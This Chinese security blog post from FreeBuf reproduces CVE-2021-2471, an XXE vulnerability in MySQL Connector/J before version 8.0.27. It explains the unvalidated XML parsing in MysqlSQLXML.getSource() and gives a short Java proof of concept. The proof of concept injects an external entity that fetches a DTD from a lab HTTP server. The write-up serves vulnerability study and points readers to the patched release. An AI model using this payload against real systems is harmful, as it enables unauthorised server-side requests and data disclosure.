freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

CVE-2021-2471 Mysql JDBC XXE
2021-10-28 18:51:05

就是分享一下,如果写的有问题,欢迎各位大佬师傅们指出哈~

漏洞简介

这个漏洞是由于 MySQL JDBC 8.0.27 版本之前,存在 getSource ()方法未对传入的 XML 数据做校验,导致攻击者可以在 XML 数据中引入外部实体,造成 XXE 攻击。

影响版本

MySQL Connector/J 8.0.27 之前

漏洞复现

这里采用的复现环境链接为: https://github.com/SecCoder-Security-Lab/jdbc-sqlxml-xxe

可以看到是mysql-connector-java 8.0.26的版本;image-20211028164231816

下载mysql-connector-java8.0.26的jar包并导入,下载链接:https://downloads.mysql.com/archives/c-j/image-20211028165029944

导入过程就不写了。。。

定位到处理XML格式的类com.mysql.cj.jdbc.MysqlSQLXML;

搜索getSource方法,可以看见当执行getSource()方法时,如果输入参数为DOMSource.class时,DocumentBuilder会直接newInstance实例化对象,stringRep会被带入并完成XML解析,没有进行校验和判断,从而导致出现XXE漏洞。image-20211028165533065

创建数据库test、表tb_test、字段message并插入数据,这里ip是我远程开启http服务的机子,代码中getSQLXML(java.lang.String)方法是用于查询表中字段为message的值,将返回的消息字段通过SQLXML解析为org.h2.jdbc.JdbcSQLXML类的对象:1635417888_617a7f20b722e88b227de.png!small?1635417889436

连接数据库image-20211028174010565

image-20211028173359163

image-20211028174743305

开启http服务image-20211028174126543

运行该pocimage-20211028174303915

这里收到了http请求1e8c24b16056f3fdb082883448f7da3.png

这里也可以不使用该复现环境,新建项目文件,导入jar包后,直接写入下面的poc,运行。

代码中setString是MysqlSQLXML继承的SQLXML类中的方法,用于对stringRep变量进行赋值从而被带入DocumentBuilder的实例化对象完成XML解析。

package mysqlxxetest;
import java.sql.SQLException;
import javax.xml.transform.dom.DOMSource;
import com.mysql.cj.jdbc.MysqlSQLXML;
public class test {
public static void main(String[] args) throws SQLException {
MysqlSQLXML myXML = new MysqlSQLXML(null);
myXML.setString("<!DOCTYPE foo [<!ENTITY % xxe SYSTEM \"http://192.168.190.130:80/xxe.dtd\"> %xxe;]>");
myXML.getSource(DOMSource.class);
}
}

1635417907_617a7f330d299647842c4.png!small?1635417907640

可以看见这里也收到了请求

image-20211028174931063.png

参考链接:

https://github.com/h2database/h2database/issues/3195

https://pyn3rd.github.io/2021/10/22/mysql-jdbc-xxe/

修复方法

官方已发布漏洞补丁及修复版本,升级至安全版本。

# mysql # XXE漏洞
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录